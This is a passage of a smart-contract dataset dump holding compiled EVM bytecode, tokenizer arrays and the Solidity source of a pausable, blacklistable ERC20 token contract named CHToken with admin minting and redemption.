0381166000908152600c602052604090205460ff165b15610971576040805160e560020a62461bcd02815260206004820152603660248201527f5465616d206d656d626572732f61647669736f72732063616e6e6f742074726160448201527f646520647572696e67207468697320706572696f642e00000000000000000000606482015290519081900360840190fd5b61097c858585611189565b95945050505050565b60085481565b60006020819052908152604090205481565b600354600160a060020a031633146109b457600080fd5b60095460009060a060020a900460ff16156109ce57600080fd5b506009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075481565b60015481565b600b5460ff1681565b600354600090600160a060020a03163314610a2d57600080fd5b60035460a060020a900460ff1615610a4457600080fd5b600154610a57908363ffffffff61130016565b600155600160a060020a038316600090815260208190526040902054610a83908363ffffffff61130016565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600954600160a060020a03163314610b3457600080fd5b6009805474ff0000000000000000000000000000000000000000191660a060020a179055565b600354600160a060020a03163314610b7157600080fd5b60095460009060a060020a900460ff1615610b8b57600080fd5b600160a060020a0383166000908152600a602052604090205460ff1615610c22576040805160e560020a62461bcd02815260206004820152603260248201527f4572726f72212054686973206164647265737320697320696e2074686520747260448201527f616e73666572206167656e74206c6973742e0000000000000000000000000000606482015290519081900360840190fd5b50600160a060020a03919091166000908152600c60205260409020805460ff1916911515919091179055565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610ca357336000908152600260209081526040808320600160a060020a0388168452909152812055610cd8565b610cb3818463ffffffff61131316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314610d7057600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610de157600080fd5b60035460a060020a900460ff1615610df857600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600a6020526000908152604090205460ff1681565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107595780601f1061072e57610100808354040283529160200191610759565b60095460a060020a900460ff1681565b600954600090339060a060020a900460ff161515610f8f57600160a060020a0381166000908152600a602052604090205460ff161515610f8a576040805160e560020a62461bcd02815260206004820152602260248201527f54686520746f6b656e20697320696e20746865206c6f636b696e67207065726960448201527f6f64000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b611035565b600b5460ff16158015610fba5750600160a060020a0381166000908152600c602052604090205460ff165b15611035576040805160e560020a62461bcd02815260206004820152603660248201527f5465616d206d656d626572732f61647669736f72732063616e6e6f742074726160448201527f646520647572696e67207468697320706572696f642e00000000000000000000606482015290519081900360840190fd5b61103f8484611325565b949350505050565b600954600160a060020a0316331461105e57600080fd5b6009805474ff000000000000000000000000000000000000000019169055565b600c6020526000908152604090205460ff1681565b600954600160a060020a031681565b336000908152600260209081526040808320600160a060020a03861684529091528120546110d6908363ffffffff61130016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461117d57600080fd5b61118681611406565b50565b6000600160a060020a03831615156111a057600080fd5b600160a060020a0384166000908152602081905260409020548211156111c557600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156111f557600080fd5b600160a060020a03841660009081526020819052604090205461121e908363ffffffff61131316565b600160a060020a038086166000908152602081905260408082209390935590851681522054611253908363ffffffff61130016565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611295908363ffffffff61131316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b8181018281101561130d57fe5b92915050565b60008282111561131f57fe5b50900390565b6000600160a060020a038316151561133c57600080fd5b3360009081526020819052604090205482111561135857600080fd5b33600090815260208190526040902054611378908363ffffffff61131316565b3360009081526020819052604080822092909255600160a060020a038516815220546113aa908363ffffffff61130016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a038116151561141b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058204a9df9de868bf01547201e865d7bedcdf3d87a9b7072b149abec661e672fe8b40029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2620,
2475,
6305,
2620,
2475,
2063,
2620,
20842,
2050,
21619,
2581,
3676,
2278,
2683,
2063,
2487,
2063,
21926,
4783,
16336,
26976,
2683,
9818,
25031,
2620,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,478 | 0x953849279a22fe13a0c423fd9517fe521478c631 | pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Ownable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyOwner {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
event Issue(address indexed account, uint256 amount);
event Redeem(address indexed account, uint256 value);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _issue(address account, uint256 amount) internal {
require(account != address(0), "CoinFactory: issue to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Issue(account, amount);
}
function _redeem(address account, uint256 value) internal {
require(account != address(0), "CoinFactory: redeem from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
emit Redeem(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract CoinFactoryAdminRole is Ownable {
using Roles for Roles.Role;
event CoinFactoryAdminRoleAdded(address indexed account);
event CoinFactoryAdminRoleRemoved(address indexed account);
Roles.Role private _coinFactoryAdmins;
constructor () internal {
_addCoinFactoryAdmin(msg.sender);
}
modifier onlyCoinFactoryAdmin() {
require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role");
_;
}
function isCoinFactoryAdmin(address account) public view returns (bool) {
return _coinFactoryAdmins.has(account);
}
function addCoinFactoryAdmin(address account) public onlyOwner {
_addCoinFactoryAdmin(account);
}
function removeCoinFactoryAdmin(address account) public onlyOwner {
_removeCoinFactoryAdmin(account);
}
function renounceCoinFactoryAdmin() public {
_removeCoinFactoryAdmin(msg.sender);
}
function _addCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.add(account);
emit CoinFactoryAdminRoleAdded(account);
}
function _removeCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.remove(account);
emit CoinFactoryAdminRoleRemoved(account);
}
}
contract CoinFactory is ERC20, CoinFactoryAdminRole {
function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_issue(account, amount);
return true;
}
function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_redeem(account, amount);
return true;
}
}
contract BlacklistAdminRole is Ownable {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role");
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyOwner {
_addBlacklistAdmin(account);
}
function removeBlacklistAdmin(address account) public onlyOwner {
_removeBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract Blacklist is ERC20, BlacklistAdminRole {
mapping (address => bool) private _blacklist;
event BlacklistAdded(address indexed account);
event BlacklistRemoved(address indexed account);
function isBlacklist(address account) public view returns (bool) {
return _blacklist[account];
}
function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_addBlacklist(accounts[i]);
}
}
function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_removeBlacklist(accounts[i]);
}
}
function _addBlacklist(address account) internal {
_blacklist[account] = true;
emit BlacklistAdded(account);
}
function _removeBlacklist(address account) internal {
_blacklist[account] = false;
emit BlacklistRemoved(account);
}
}
contract CHToken is ERC20, ERC20Pausable, CoinFactory, Blacklist {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
_totalSupply = 0;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transferFrom");
require(!isBlacklist(from), "CHToken: from in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transferFrom(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613280602f913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806133b66029913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613428602b913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613